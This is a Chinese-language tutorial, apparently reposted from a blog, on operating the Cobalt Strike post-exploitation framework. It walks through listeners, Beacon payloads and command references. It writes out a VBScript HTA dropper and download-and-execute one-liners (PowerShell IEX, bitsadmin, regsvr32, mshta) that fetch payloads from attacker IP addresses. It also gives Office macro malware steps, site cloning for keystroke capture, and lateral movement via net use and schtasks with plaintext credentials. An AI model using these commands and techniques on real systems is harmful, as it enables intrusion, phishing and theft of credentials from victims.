CobaltStrike渗透框架

CobaltStrike框架介绍

CobaltStrike简介

Cobalt Strike(简称为CS)是一款团队作战渗透测试神器,是一种可以用来进行横向移动、数据窃取、鱼叉式钓鱼的后渗透工具,分为客户端和服务端,一个客户端可以连接多个服务端,一个服务端也可以对应多个客户端连接。

CobaltStrike 目录结构

cobaltstrike.store :

此证书用来加密 Cobalt Strike 和客户端通信,带有默认 hash 而且比较敏感,建议自己生成一个

keytool -list -v -keystore cobaltstrike.store

TeamServer.prop :包含很多参数用于自定义用于验证屏幕截图和 keylog 回调数据的设置

CobaltStrike基本使用

CS安装

  • 运行环境配置
  1. Linux 安装 JDK
apt search java | grep jdk
apt install openjdk-11-jdk
  1. Windows 安装 JDK
下载JDK:
https://www.oracle.com/java/technologies/downloads/#java8-windows

Oracle公共账号密码:http://bugmenot.com/view/oracle.com
  1. 环境变量配置
Java_Home => C:\Program files\jdk1.8.0_216
CLASSPATH => .;JAVA_HOME%\lib;%JAVA_HOME\lib\tools.jar
PATH => %JAVA_HOME%\bin;%JAVA_HOME\jre\bin

CS启动

  • 启动服务端
chmod +x teamserver // 给与权限

./teamserver [server_ipaddress] [password]
  • 启动客户端
./cobaltstrike
  • Alias :别名,用户名@服务端IP地址
  • Host :服务端 IP 地址,可为域名
  • Port :服务端口号,默认 50050 ,可进行修改
  • User :用户名,可随意填写,只要不冲突即可
  • Password :登录密码,启动服务端时设置的密码

CS工具栏

  1. Connect to team server :连接服务端

  2. Disonnect from team server :断开当前服务端连接

  3. Configure Listeners :配置监听器

  4. Show sessions in graph view :展示会话列表

  5. Show sessions in table view :展示视图列表

  6. Show targets in table view :展示目标列表

  7. Credentials :查看从靶机获取的账户密码

  8. Downloaded Files :查看从靶机下载的文件

  9. Keystrokes :查看键盘记录

  10. Screenshots :查看屏幕截图

  11. Generate Windows Executable (Stageless) :生成无状态的 EXE 木马

  12. Setup java Signed Applet Attack :开启Web服务为自签名 Java Applet 提供运行环境

  13. MS Office Macro Attack :生成 OFFICE 宏病毒文件

  14. Setup Scripted Web-Delivery (Stageless) :开启 Web 服务,供下载和执行Payload

  15. Host a file :开启 Web 服务,供下载文件

  16. Manage Web Server :管理 Web 服务

  17. Help :帮助文档

  18. About :关于 Cobalt Strike

CS菜单

  1. New Connection :进行另外一个连接,支持连接多个服务器端

  2. Preferences :设置 Cobal Strike 界面、控制台、以及输出报告样式TeamServer 连接记录

  3. Visualization :主要展示输出结果的形式

  4. VPN Interfaces :设置VPN接口

  5. Listenrs :创建一个 Listener

  6. Script Manager :脚本管理

  7. Close :退出连接

View菜单

  1. Applications :显示受害主机的应用信息,浏览器版本信息

  2. Credentials :显示所有已获取的受害主机的凭证,如使用hashdump、Mimikatz 获取到的密码凭证信息

  3. Downloads :查看已下载文件

  4. Event Log :主机上线记录以及团队协作聊天记录

  5. Keystrokes :查看键盘记录结果

  6. Proxy Pivots :查看代理模块

  7. Screenshots :查看所有屏幕截图

  8. Script Console :脚本控制台,加载第三方脚本以增强功能

  9. Targets :显示所有受害主机

  10. Web Log :所有访问Web服务的日志记录

Attacks菜单

Packages

VBScript脚本基础

VBScript 是微软公司出品的脚本语言。 VBScript 是ASP (Active Server Pages)默认使用的脚本语言。

<script language="VBScript">
    Function var_func()
        var_shellcode = "4d5a90000300"

        Dim var_objSet var_obj = CreateObject("Scripting.FileSystemObject")
        Dim var_stream
        Dim var_tempdir
        Dim var_tempexe
        Dim var_basedir
        Set var_tempdir = var_obj.GetSpecialFolder(2)
        var_basedir = var_tempdir & "\" & var_obj.GetTempName()
        var_obj.CreateFolder(var_basedir)
        var_tempexe = var_basedir & "\" & "evil.exe"
        Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
        For i = 1 to Len(var_shellcode) Step 2
            var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
        Next
        var_stream.Close
        Dim var_shell
        Set var_shell = CreateObject("Wscript.Shell")
        var_shell.run var_tempexe, 0, true
        var_obj.DeleteFile(var_tempexe)
        var_obj.DeleteFolder(var_basedir)
    End Function

    var_func
    self.close
</script>

https://www.runoob.com/vbscript/vbscript-tutorial.html

  • 声明变量
Dim var_obj

# 声明一个变量 var_obj, VBScript 变量用于保存值或表达式
  • 变量赋值

可以为某个变量赋值,如下所示:

var_shellcode = "4d5a90000300"

变量名是在表达式的左侧,需要赋给变量的值在表达式的右侧。

  • 函数程序

是一系列的语句,被封装在 Function 和 End Function 语句内

可执行某些操作,并会返回值

可带有通过程序调用来向其传递的参数。

如果没有参数,必须带有空的圆括号 ()

通过向函数程序名赋值的方式,可使其返回值

Function myfunction()
    some statements
    myfunction=some value
End Function

或者

Function myfunction(argument1,argument2)
    some statements
    myfunction=some value
End Function
  • 调用程序
<!DOCTYPE html>
<html>
	<body>
		<script type="text/vbscript">
    		Function myfunction()
        		myfunction=5+6
    		End Function

    		document.write(myfunction())
		</script>
		<p>A Function procedure can return a result.</p>
	</body>
</html>
<!DOCTYPE html>
<html>
	<body>
		<script type="text/vbscript">
			Function myfunction(a,b)
				myfunction=a+b
			End Function

			document.write(myfunction(5,6))
		</script>
		<p>A Function procedure can return a result.</p>
	</body>
</html>
  • 条件语句

条件语句用于根据不同的情况执行不同的操作

在 VBScript 中,我们可以使用四种条件语句:

If 语句 - 假如您希望在条件为 true 时执行一系列的代码,可以使用这个语句

If…Then…Else 语句 - 假如您希望执行两套代码其中之一,可以使用这个语句

If…Then…ElseIf 语句 - 假如您希望选择多套代码之一来执行,可以使用这个语句

Select Case 语句 - 假如您希望选择多套代码之一来执行,可以使用这个语句

  • 循环语句

循环语句用于运行相同的代码块指定的次数。

在 VBScript 中,我们可以使用四种循环语句:

For…Next 语句 - 运行一段代码指定的次数

For Each…Next 语句 - 针对集合中的每个项目或者数组中的每个元素来运行某段代码

Do…Loop 语句 - 运行循环,当条件为 true 或者直到条件为 true 时

While…Wend 语句 - 不要使用这个语句 - 请使用 Do…Loop 语句代替它

HTML Application

生成一个网页 Payload 。三种执行模式: Executable 、 PowerShell 、 VBA

Executable :是以十六进制的方式内嵌一个 EXE 到 HTA 里,运行时会把 exe 释放到磁盘然后创建进程运行

Powershell : HTA 调用 powershell.exe 执行 payload

VBA :通过调用 COM 组件来执行 payload (请确保目标机有 Excel.Application 组件否则会运行失败,注:组件源自 Office )

VB / VBS / VBA 介绍:https://blog.csdn.net/weixin_45797022/article/details/105400270

MS Office Macro

生成 Office 宏病毒文件

Attacks -> Packages -> MS Office Macro -> Copy

将代码放到 Word 宏里面,另存为启用宏的Word文档( *.docm ),受害者点击启用内容,即可上线。

https://www.hetianlab.com/expc.do?w=exp_ass&ec=ECIDa61a-4976-4ad8-8d6c-3ebc9a730ab1

Payload Generator

生成各类语言的 ShellCode

C
C#
COM Scriptlet
Java
Perl
Powershell
Powershell Command
Python
Raw
Ruby
Veil
VBA

各种语言shellcode:

C
C#
Java
Perl
Python
Ruby
VBA
  • COM Scriptlet

COM Scriptlet 是一种COM对象,它可以在 HTML 文件中嵌入脚本代码,并在客户端的浏览器中执行。当浏览器打开HTML页面时, COM Scriptlet 会被自动加载和执行,以便在客户端上运行脚本。

生成 payload.sct 文件,注意不要勾选 Use x64 payload 。

Regsvr32 命令用于注册 COM 组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。

  1. 执行本地 Com Scriptlet 获取反向 Shell
regsvr32.exe /n /s /u /i:payload.sct scrobj.dll
  1. 执行远程 Com Scriptlet 获取反向 Shell

把 payload.sct 文件托管到web服务器,或者使用 CobaltStrike 的 Host File 功能,使用如下方法加载执行上线。

regsvr32 /u /s /i:http://192.168.164.133:801/do/file.ext scrobj.dll
  • Powershel
powershell -ep bypass -f payload.ps1
  • Powershell Command

生成一句话 powershell 命令

  • RAW

原始 shellcode ,无特殊格式

  • Veil

配合 Veil-Framework 框架使用的 shellcode

https://github.com/Veil-Framework/Veil

https://rioasmara.com/2021/05/30/veil-evasion-in-cobalt-strike-beacon/

Windows Executable

生成分阶段的攻击载荷

Windows EXE
Windows Service EXE
Windows DLL

Windows Executable(s)

生成不分阶段、独立的攻击载荷

生成可执行文件还有 powershell 以及动态链接库

PowerShell
Raw
Windows EXE
Windows Service EXE
Windows DLL

Web Drive-by

  • Manage :对开启的web服务进行管理
  • Clone Site :克隆网站,可以记录受害者提交的数据
  • Host File :提供一个文件下载,可以修改Mime信息
  • Scripted Web Delivery :为payload提供web服务以便下载和执行 类似于
  • Metasploit 的 web_delivery
  • Signed Applet Attack :使用java自签名的程序进行钓鱼攻击(该方式已过时)
  • Smart Applet Attack :自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
  • System Profiler :用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
  • Spear Phish :用来邮件钓鱼的模块,鱼叉钓鱼攻击
  1. Manage

主要管理我们所创建的Payload以及各类PowerShell管理地址

  1. Clone Site + System Profiler

https://www.hetianlab.com/expc.do?ce=0990110e-1a17-4969-b787-b58bc41b7d97

克隆网站,还可以通过克隆的网站实现钓鱼。

设置 System Profiler ,当输入后回车会跳转到正常的网页上以免被发现。

Attacks -> Web Drive-by -> System Profiler

设置 Clone Site

Attacks -> Web Drive-by -> Clone Site

记录目标键盘输入

  1. Host File

提供一个文件下载服务,可以修改Mime信息

  1. Scripted Web Delivery

开启一个web服务托管payload,并根据选择的类型生成一个命令行来执行 payload 上线

exe:
http://172.26.2.28:807/e.exe

python:
python -c "import urllib2; exec 
urllib2.urlopen('http://172.26.2.28:807/a').read();"

powershell:
powershell.exe -nop -w hidden -c "IEX ((new-object 
net.webclient).downloadstring('http://172.26.2.28:808/a'))"

bitsadmin:
cmd.exe /c bitsadmin /transfer 7d0f http://172.26.2.28:807/b 
%APPDATA%\7d0f.exe&%APPDATA%\7d0f.exe&del %APPDATA%\7d0f.exe

regsvr32:
regsvr32 /s /n /u /i:http://172.26.2.28:807/d scrobj.dll
  1. System Profiler

分析目标使用什么浏览器以及 Adobe 版本还有内部 IP 。

View -> Applications

这里可以前期信息收集所用,因为这种方法杀软以及浏览器是无法检测出来的,可以通过水坑式攻击来获取目标所用的软件以及操作系统来针对性的攻击。

Spear Phish

邮件钓鱼

Reporting菜单

  1. Activity Report :本报告显示了此次参与的时间表。

  2. Hosts Report :此报告显示了在此次参与期间收集的主机信息。

  3. Indicators of Compromise :本报告记录了 Cobalt Strike 在此次攻击中产生的妥协指标。

  4. Sessions Report :此报告逐个会话地记录活动。

  5. Social Engineering Report :本报告记录了此项目的社会工程部分。

  6. Tactics, Techniques, and Procedures :这份报告将 Cobalt Strike 的行动映射到 MITRE 的对抗战术、技术和常识( ATT&CK )矩阵。

Reset Data :此操作将清除 Cobalt Strike 的数据模型。将丢失收集的所有信息。将无法取回这些信息。

Export Data :导出数据

Help菜单

Homepage :访问 https://www.cobaltstrike.com 主页

Support :进入 https://www.cobaltstrike.com/support/ 页面

Arsenal :进入 https://download.cobaltstrike.com/scripts 页面

Malleable C2 Profile :查看使用的 C2 配置文件

System Information :提供有关 Cobalt Strike 客户端和服务器的信息

About :关于,查看 Cobalt Strike 版本相关信息

Beacon右键菜单

  • Interact:打开Beacon会话

  • Access

  1. Dump Hashes # 获取hash
  2. Elevate # 提权
  3. Golden Ticket # 生成黄金票据注入当前会话
  4. Make token # 凭证转换
  5. Run Mimikatz # 运行 Mimikatz
  6. Spawn As # 用其他用户生成Cobalt Strike侦听器
  • Explore
  1. Browser Pivot # 劫持目标浏览器进程
  2. Desktop(VNC) # 桌面交互
  3. File Browser # 文件浏览器
  4. Net View # 命令Net View
  5. Port Scan # 端口扫描
  6. Process List # 进程列表
  7. Screenshot # 截图
  • Pivoting
  1. SOCKS Server # 代理服务
  2. Listener # 反向端口转发
  3. Deploy VPN # 部署VPN
  • Spawn:外部监听器 (如指派给MSF,获取meterpreter权限)
  • Session
  1. Note # 备注
  2. Remove # 删除
  3. Sleep # 指定被控端休眠时间,默认60秒一次回传
  4. Exit # 退出

CobaltStrike监听器详解

Beacon介绍

Beacon是Cobalt Strike运行在目标主机上的payload,Beacon在隐蔽信道上我们提供服务,用于长期控制受感染主机。它的工作方式与Metasploit Framework Payload类似。在实际渗透过程中,我们可以将其嵌入到可执行文件、添加到Word文档或者通过利用主机漏洞来传递Beacon。

Beacon在目标主机上运行之后,会主动向我们提前设置好的Listener发送请求信息

Team Server 控制器接收到请求后会检查是否有待执行的任务,如果有就会将任务下发到 Beacon 执行

默认的 sleep 时间: 60s

Beacon分类

根据内置 Listener 的分类可以将·进行分类, Listener 是用来接收 Beacon 请求信息

的 Cobalt Strike 模块

  1. 内部beacon
  • Beacon DNS
  • Beacon HTTP
  • Beacon HTTPS
  • Beacon SMB
  • Beacon TCP
  1. 外部beacon

与其他工具联合使用时才会使用到,一般用来派生会话到MSF

  • Foreign HTTP
  • Foreign HTTPS

Beacon工作原理

Beacon HTTP/HTTPS

以HTTP或HTTPS协议建立Beacon连接

  1. HTTP Beacon payload连接到C2控制器,它会发起一个GET请求,获取来自C2控制器的执行操作任务

  2. 如果C2控制器有要执行的任务,那么它会响应一组包含payload执行的所有任务的加密数据

  3. 否则HTTP Beacon payload会返回到睡眠状态,我们可以在payload配置中设置时间周期。

  4. 当Payload执行任务后产生输出时,HTTP Beacon payload会通过一个包含加密数据的POST请求发送给C2,这个POST请求中包含任务运行后的输出。如果没有输出,那么就没有这个POST请求。

通常创建一个简单的监听器,只需要配置以下选项即可:

  • Name:监听器名字

  • Payload:选择Beacon类型

  • HTTP Hosts:配置HTTP Beacon回连主机地址

  • HTTP Host (Stager):配置分阶段payload,Stager的请求地址,仅当Payload明确需要Stager配合时有效

  • HTTP Port (C2):配置HTTP Beacon回连的监听端口

  • Host Rotation Strategy:CS4.3新增,在 beacon 通信时,可以选择更多的轮询方案以逃避检测、阻断, beacon 回连主机策略

  • Profile: Malleable C2 配置文件,用于自定义通信流量特征

  • HTTP Port (Bind):绑定监听端口,实现端口重定向

  • HTTP Host Header:设置内层真实域名,在使用域前置技术时使用

  • HTTP Proxy:为Payload指定代理

Beacon DNS

以DNS协议流量建立Beacon连接

  • DNS Hosts:Beacon回连的主机,可以添加多个
  • Host Rotation Strategy:Beacon回连主机策略
  • HTTP Host (Stager):配置Stager主机,仅当Payload明确需要Stager配合时有效
  • Profile:Malleable C2配置文件,用于自定义通信流量特征
  • DNS Port (Bind):绑定监听端口,实现端口重定向
  • DNS Resolver:指定NS服务器

Cloudflare添加域名

  1. 到 https://dash.cloudflare.com/ 注册并登录
  2. 添加站点,选择域名添加:xxx.com
  3. 添加A记录,设置为VPS的IP地址
A ds 123.x.x.x
  1. 添加NS记录,设置为A记录对应的域名

创建DNS监听器

Name: dns
Payload: Beacon DNS
DNS Hosts: 
	ns1.xxx.com
	ns2.xxx.com
DNS Host(Stager): ns1.xxx.com

CS生成Payload

生成Payload执行上线,Beacon上线后没有信息显示,右键进入Beacon通过执行chekin 命令让dns beacon强制回连teamserver

可以使用mode命令更改设置Beacon的数据交换模式

Use: mode [dns|dns6|dns-txt]

设置Beacon的数据交换模式,仅对DNS Beacon有用

dns模式
--------
使用DNS A记录请求获取任务。如果不能使用TXT记录,则使用此选项与DNS通信该模式
将数据编码在DNS请求的hostname中进行传输

dns6模式
---------
使用DNS AAAA记录请求获取任务。如果不能使用TXT记录,则使用此选项与DNS通信该
模式将数据编码在DNS请求的hostname中进行传输

dns-txt模式
------------
使用DNS TXT记录请求获取任务。该通道每个请求携带189个字节,而DNS A记录请求仅
为4个字节,使用与其他DNS模式相同的技术发送数据

Beacon SMB

以SMB协议流量建立Beacon连接,适用于内网横向

 windows/beacon_smb/bind_pipe
  • 简介

SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个Beacons链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacon 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效。

  • 前提条件
  1. 没有禁用 IPC$ 连接、139和445端口、未使用防火墙等方式来阻止 IPC$ 。
  2. 目标机器开启了相关的 IPC$ 服务。
  3. 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
  4. 只能链接由同一个 CobaltStrike 实例管理的 Beacon 。
  5. 利用这种 Beacon 横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

上线目标主机shell

创建一个 HTTP Beacon 监听器,生成HTTP监听器木马文件,目标主机执行后上线

Beacon会话

创建SMB监听器

Name: smb0
Payload: Beacon SMB
Pipename: 可默认或自定义

派生SMB Beacon会话

右键HTTP Beacon会话,进入Beacon控制台,执行 spawn <SMB Beacon的监听器名称>

spawn smb

命令执行成功后,可以看到一个新的Beacon会话,在IP地址后面带有 ∞∞ 字符。

进程注入SMB Beacon

  • inject
Use: inject [pid] <x86|x64>

打开 [pid] 指定的进程并将 [监听器] 生成的 shellcode 注入到进程中运行

右键 HTTP Beacon 会话,进入 Beacon 控制台,执行 ps 命令查看主机所有进程信息,获取你想要注入 shellcode 的进程ID,然后执行如下命令:

inject 11188 x64 smb

命令执行成功后,可以看到一个新的Beacon会话,在IP地址后面带有 ∞∞ 字符。

上线不出网主机

  • 会话中转
  1. 右键Beacon会话,设置监听器进行会话中转

转发监听器可以利用已攻陷的机器作为代理,为其他Beacon会话的中转网络流量,即内网其他机器可通过连接攻陷机器上线。

以上操作实际是在beacon控制台执行了如下命令:

rportfwd 4445 windows/beacon_reverse_tcp
Use:
rportfwd [绑定端口] [转发目的主机] [转发目的端口]
rportfwd stop [绑定端口]

绑定目标主机上的指定端口。当目标主机的 [绑定端口] 被访问时, Cobalt Strike Teamserver 将与 [转发目的主机/端口] 建立连接,并使用Beacon在两个网络连接之间中继流量

  1. 使用上一步创建的监听器,生成木马文件
  2. 利用smb上传到目标不出网主机,通过 IPC$ 、计划任务等方式运行木马文件
shell net use \\192.168.1.3 /user:Administrator "qaz@WSX"
shell dir \\192.168.1.3\C$
upload C:\beacon.exe
shell copy C:\beacon.exe \\192.168.1.3\C$
shell schtasks /create /s 192.168.1.3 /u Administrator /p 
"qaz@WSX" /sc MINUTE /mo 1 /tn test /tr "C:\\beacon.exe"
  1. 成功上线不出网主机的Beacon会话, 该会话为被动连接,不操作的不会回连,如果中转机会话断掉,该会话也会断掉。

连接与断开连接

在Beacon控制台可以使用 unlink 命令断开连接,使用 link 重新连接目标

Use: unlink [ip地址]
     unlink [ip地址] [pid]
断开与 SMB 命名管道或TCP Beacon的连接,指定IP地址或IP地址以及会话PID来断开
特定Beacon的连接
Use: link [目标] [管道名]
     link [目标]
连接SMB Beacon并建立控制通道,所有对于SMB Beacon的命令请求都将通过当前
Beacon会话,可以指定一个显式的 [管道名] 以连接到特定管道。否则,将使用当前配置
文件中的默认管道名
unlink 192.168.8.110 11188
link 192.168.8.110

TCP

仅与父 Beacon 通信,适用于内网横向移动

windows/beacon_tcp/bind_tcp

命令格式同 smb 相似,不过此处连接目标IP的命令不是 link ,而是 connect 。取消连接目标机器的话对应的命令与 smb 同为 unlink

创建TCP监听器

Name: tcp
Payload: Beacon TCP
Port: 默认或自定义

CS生成Payload

通过上一步创建的TCP监听器,生成 stageless 的 payload

目标主机执行

把上一步生成的Payload上传到目标主机执行,执行后会在目标主机监听配置监听器时配置的端口

连接上线Beacon

  • connect
Use: connect [目标]
     connect [目标] [端口]

连接 TCP Beacon 并建立控制通道。所有对于 TCP Beacon 的命令请求都将通过当前 Beacon 会话,使用 “unlink” 命令来断开 TCP Beacon

connect 192.168.81.221
unlink 192.168.81.221 2608

Cobaltstrike上线Beacon

远程加载上线

  1. 生成 HTML 应用程序(HTA)文件

Attacks > Packages > HTML Application

Listener > Method:PowerShell

Generate > 生成evil.hta

  1. 使用 Host File 提供文件下载服务

Attacks > Web Drive-By > Host File

File:选择生成的evil.hta文件

Local URI:文件URI路径

Local Host:Web服务IP

Local Port:Web服务端口

Mime Type:Mime类型

Launch > 生成访问evil.hta文件的URL地址

运行方式:mshta http://192.168.81.172:801/download/file.ext

  1. 通过命令执行加载 payload

当有目标机以任何方式运行了生成的Payload,则会出现在主机列表

选中要操作的目标主机,右键 interact 进入交互命令界面,在此使用 Beacon

Commands 对 victim 主机执行各种操作。

设置睡眠周期(秒): sleep 2

执行命令: shell whoami

查看可用命令: help

生成木马上线

  1. 生成 Windows 可执行程序木马文件

点击攻击选项,选择生成木马,选择windows无阶段木马选择我们配置好的监听器点击生成即可

  1. 上传木马到目标机器

通过 Webshell 上传执行

通过引诱目标下载,钓鱼

  1. 执行上线

执行木马文件,等待 Beacon 回连 CS

Beacon使用

在目标上线CS后,右键目标 interact 使用 Beacon

在 Cobalt Strike 中它的心跳默认是60s (即sleep时间为60s,每一分钟目标主机 Beacon 与 teamserver 通信一次)

如果sleep时间过长,在下载文件时花费时间明显过长,所以在测试时会把时间降低一点。

一般拿到 Beacon 后先执行 sleep 修改到合适的睡眠时间,根据实战环境来调节,建议不要太快,不然流量会很明显。

Beacon 中不能直接输入 cmd 命令,比如要让目标机执行 ipconfig 这条 cmd 命令,对应的 beacon 命令是 shell ipconfig

其他的 beacon 命令,可以在 beacon 中输入 help 查看命令帮助信息

Beacon命令

beacon> help
Beacon Commands
===============
   Command                   Description
   -------                   -----------
   argue                     匹配过程的欺骗参数
   blockdlls                 阻止子进程中的非Microsoft DLL
   browserpivot              设置浏览器 pivot 会话
   cancel                    取消正在进行的下载
   cd                        变更目录
   checkin                   Call home and post data
   clear                     清除 beacon 队列
   connect                   通过TCP连接到Beacon peer
   covertvpn                 部署Covert VPN客户端
   cp                        复制文件
   dcsync                    从DC提取密码哈希
   desktop                   查看目标桌面并与之交互
   dllinject                 将反射DLL注入到进程中
   dllload                   使用LoadLibrary()将DLL加载到进程中
   download                  下载文件
   downloads                 列出正在进行的文件下载
   drives                    列出目标上的驱动器
   elevate                   在提升权限的环境中生成会话
   execute                   在目标上执行程序(无输出)
   execute-assembly          在目标内存中执行本地 .NET 程序
   exit                      终止beacon会话
   getprivs                  在当前令牌上启用系统特权
   getsystem                 尝试获得SYSTEM
   getuid                    获取用户ID
   hashdump                  转储密码哈希
   help                      帮助菜单
   inject                    在特定进程中产生会话
   inline-execute            在此会话中运行Beacon Object File
   jobkill                   杀死长期运行的后渗透任务
   jobs                      列出长期运行的后渗透任务
   jump                      在远程主机上生成会话
   kerberos_ccache_use       将缓存中的kerberos tickets应用于此会话
   kerberos_ticket_purge     清除本次会议中的kerberos tickets
   kerberos_ticket_use       将kerberos tickets应用于此会话
   keylogger                 将键盘记录器注入进程
   kill                      杀死进程
   link                      通过命名管道连接到Beacon peer
   logonpasswords            使用mimikatz转储凭证和哈希
   ls                        列出文件
   make_token                创建令牌以传递凭据
   mimikatz                  运行mimikatz命令
   mkdir                     创建目录
   mode dns                  将DNS A记录用作数据通道(仅DNS beacon)
   mode dns-txt              将DNS TXT记录用作数据通道(仅DNS beacon)
   mode dns6                 将DNS AAAA记录用作数据通道(仅DNS beacon)
   mv                        移动文件
   net                       网络和主机枚举工具
   note                      给beacon分配一个注释
   portscan                  扫描网络以查找开放服务
   powerpick                 通过 Unmanaged PowerShell执行命令
   powershell                通过powershell.exe执行命令
   powershell-import         导入Powershell脚本
   ppid                      为产生的post-ex jobs设置父ID
   ps                        显示进程列表
   psinject                  在特定进程中执行powershell命令
   pth                       使用Mimikatz进行哈希传递
   pwd                       打印当前目录
   reg                       查询注册表
   remote-exec               在远程主机上运行命令
   rev2self                  恢复为原始令牌
   rm                        删除文件或文件夹
   rportfwd                  设置反向端口转发
   run                       在目标上执行程序(返回输出)
   runas                     以其他用户身份执行程序
   runasadmin                在提升权限的环境中执行程序
   runu                      在另一个PID下执行程序
   screenshot                截屏
   setenv                    设置环境变量
   shell                     通过cmd.exe执行命令
   shinject                  将Shellcode注入进程
   shspawn                   生成进程并将shellcode注入其中
   sleep                     设置beacon睡眠时间
   socks                     启动SOCKS4a服务器以中继流量
   socks stop                停止SOCKS4a服务器
   spawn                     产生一个会话
   spawnas                   以其他用户身份发起会话
   spawnto                   设置可执行文件以将进程生成为
   spawnu                    在另一个进程下产生会话
   ssh                       使用SSH在主机上生成一个SSH会话
   ssh-key                   使用SSH在主机上生成一个SSH会话
   steal_token               从进程中窃取访问令牌
   timestomp                 将时间戳从一个文件应用到另一个文件
   unlink                    与父Beacon断开连接
   upload                    上传文件

补充资料

https://wbglil.gitbook.io/cobalt-strike

猜你喜欢

转载自blog.csdn.net/weixin_56378389/article/details/131207822